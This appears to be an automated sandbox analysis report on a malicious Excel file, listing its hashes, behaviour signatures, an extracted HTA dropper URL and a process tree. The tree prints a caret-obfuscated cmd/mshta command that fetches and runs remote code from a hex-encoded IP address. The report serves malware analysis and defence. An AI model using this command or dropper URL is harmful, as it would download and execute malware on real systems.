Analysis

  • max time kernel
    117s
  • max time network
    69s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    01-06-2022 16:09

General

  • Target

    ?i=1vlzqjwhu.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1vlzqjwhu.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1756

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/956-59-0x0000000000000000-mapping.dmp

  • memory/1756-60-0x0000000000000000-mapping.dmp

  • memory/1868-54-0x000000002FBD1000-0x000000002FBD4000-memory.dmp

    Filesize

    12KB

  • memory/1868-55-0x0000000070DA1000-0x0000000070DA3000-memory.dmp

    Filesize

    8KB

  • memory/1868-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1868-57-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB

  • memory/1868-58-0x00000000759E1000-0x00000000759E3000-memory.dmp

    Filesize

    8KB

  • memory/1868-61-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB

  • memory/1868-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1868-63-0x0000000071D8D000-0x0000000071D98000-memory.dmp

    Filesize

    44KB